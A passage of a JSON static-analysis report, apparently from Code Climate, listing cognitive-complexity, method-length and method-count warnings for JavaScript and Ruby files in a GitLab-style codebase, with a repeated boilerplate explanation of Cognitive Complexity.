function.","location":{"path":"app/assets/javascripts/ide/stores/utils.js","lines":{"begin":158,"end":158}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"75e7e39f5b8ea0aadff2470a9b44ca68"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `entries` has 67 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1a9caa4d3fce207f88b2afafe14a1df0","location":{"path":"app/assets/javascripts/ide/stores/workers/files_decorator_worker.js","lines":{"begin":11,"end":91}},"other_locations":[],"remediation_points":1608000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.RECEIVE_LASTEST_PIPELINE_SUCCESS` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ac7ea082c786419244a234de0970ebc9","location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":11,"end":39}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `types.RECEIVE_LASTEST_PIPELINE_SUCCESS` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0883c6639137c6b51cad4b57c0dd1c38","location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":11,"end":39}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0d98be7e83cb9dbc1ca8775da0aa7d19","location":{"path":"app/assets/javascripts/ide/lib/common/model.js","lines":{"begin":6,"end":43}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initIde` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"34f27cc8f1c849369b0095674a48c531","location":{"path":"app/assets/javascripts/ide/index.js","lines":{"begin":11,"end":44}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `init` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"0c6f3babcfd2a42ae88ffe4cc05028dc","location":{"path":"app/assets/javascripts/pager.js","lines":{"begin":10,"end":10}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f19d7f17b74ab07e9651e12680b14b9d","location":{"path":"app/assets/javascripts/profile/gl_crop.js","lines":{"begin":12,"end":40}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onModalShow` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c0421daee7918d81456c8580b8878457","location":{"path":"app/assets/javascripts/profile/gl_crop.js","lines":{"begin":69,"end":101}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initMrNotes` has 74 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4dd3a8bed3022600ffaa03ba5cc77fe6","location":{"path":"app/assets/javascripts/mr_notes/index.js","lines":{"begin":10,"end":92}},"other_locations":[],"remediation_points":1776000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`` has 24 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"815b15d961f84ea742e6dce8eb3f8a4d","location":{"path":"app/assets/javascripts/badges/store/actions.js","lines":{"begin":14,"end":167}},"other_locations":[],"remediation_points":1600000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_each` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cbc52cfd6436c771188ac8f4e355cb9b","location":{"path":"app/validators/branch_filter_validator.rb","lines":{"begin":16,"end":30}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_each` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a8179f4c2dfe625c27616c834d37a930","location":{"path":"app/validators/js_regex_validator.rb","lines":{"begin":4,"end":16}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_each` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0d1ca6a4b7e3294fdc110a8e0ea47f92","location":{"path":"app/validators/cluster_name_validator.rb","lines":{"begin":7,"end":25}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_each` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d62539a99ae9fabba3cd2cc96713cf09","location":{"path":"app/validators/abstract_path_validator.rb","lines":{"begin":23,"end":35}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ProjectTeam` has 27 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"ce2cc10520ba3b4b7205e61120d67315","location":{"path":"app/models/project_team.rb","lines":{"begin":3,"end":194}},"other_locations":[],"remediation_points":1900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_kube_client!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e929847f530fa79a8a58054b9aa3fb8e","location":{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":125,"end":140}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `note.rb` has 325 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"5f0768574ccb05a5f08cf2e994799fa2","location":{"path":"app/models/note.rb","lines":{"begin":6,"end":474}},"other_locations":[],"remediation_points":2280000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `grouped_diff_discussions` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3e55577fec2bb70f0e880e0e8d0f42ec","location":{"path":"app/models/note.rb","lines":{"begin":150,"end":168}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `in_reply_to?` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a17100ec3750af84df807aff92514aa5","location":{"path":"app/models/note.rb","lines":{"begin":367,"end":382}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Note` has 56 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"5d5c3b8714fe08a2c7df66bc4bfdc538","location":{"path":"app/models/note.rb","lines":{"begin":6,"end":474}},"other_locations":[],"remediation_points":4800000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `track_greatest` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"ee586dc1932745869e3f752d180242c9","location":{"path":"app/models/internal_id.rb","lines":{"begin":55,"end":55}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `rename_descendants` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"41d2108d52e96b7975591b300d3b2e60","location":{"path":"app/models/route.rb","lines":{"begin":23,"end":51}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"complex_logic","content":{"body":""},"description":"Consider simplifying this complex logical expression.","location":{"path":"app/models/issue.rb","lines":{"begin":306,"end":313}},"other_locations":[],"remediation_points":400000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"1cd63fdd17237f7c081abfa37690a7fe"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `as_json` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"430a48264a7379f4d248d672bb16fe44","location":{"path":"app/models/issue.rb","lines":{"begin":250,"end":273}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `readable_by?` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"05cd07a39aaac900028cc3b49079c531","location":{"path":"app/models/issue.rb","lines":{"begin":301,"end":315}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Issue` has 30 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"9619613b02f7bb8841b9e19c688f5251","location":{"path":"app/models/issue.rb","lines":{"begin":5,"end":326}},"other_locations":[],"remediation_points":2200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cached_attr_reader` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2a0b7bc4cebaa36fff63efc3ada11817","location":{"path":"app/models/concerns/redis_cacheable.rb","lines":{"begin":10,"end":20}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `move_dir` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a75dea312f0b07cc41974f687ba6fc64","location":{"path":"app/models/concerns/storage/legacy_namespace.rb","lines":{"begin":7,"end":41}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `expand_hierarchy_for_child` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f5222419d454a07f66c83180e4789d18","location":{"path":"app/models/concerns/group_descendant.rb","lines":{"begin":37,"end":70}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `expand_hierarchy_for_child` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5cd85b2e5055a268df55df99d4d5a94e","location":{"path":"app/models/concerns/group_descendant.rb","lines":{"begin":37,"end":70}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `avatar_path` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b6177dbe195b50f7a5b10734fbc4a8d2","location":{"path":"app/models/concerns/avatarable.rb","lines":{"begin":45,"end":72}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `with_reactive_cache` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a8e8f8a2e9ccd006ae8f61ca9db92d0c","location":{"path":"app/models/concerns/reactive_caching.rb","lines":{"begin":69,"end":84}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `exclusively_update_reactive_cache!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2811b2ef3d5196f0b89cec43f1f2b465","location":{"path":"app/models/concerns/reactive_caching.rb","lines":{"begin":91,"end":103}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_binary_column_exists!` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"23444612f22a67bddc69d4fb3d9ab40a","location":{"path":"app/models/concerns/sha_attribute.rb","lines":{"begin":18,"end":37}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `current` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"37517b27e64777d7506564ebffc2a9fa","location":{"path":"app/models/concerns/cacheable_attributes.rb","lines":{"begin":44,"end":57}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `chronic_duration_attr_writer` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8acb577138f44873e03ae5712c65f31d","location":{"path":"app/models/concerns/chronic_duration_attribute.rb","lines":{"begin":13,"end":28}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `truncated_diff_lines` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8bade7fdd3ab51990a34487352c56728","location":{"path":"app/models/concerns/discussion_on_diff.rb","lines":{"begin":41,"end":59}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `calculate_reactive_cache` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ff34ec3cc17426f2d12b615f23171aad","location":{"path":"app/models/concerns/prometheus_adapter.rb","lines":{"begin":36,"end":47}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `position_between` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider 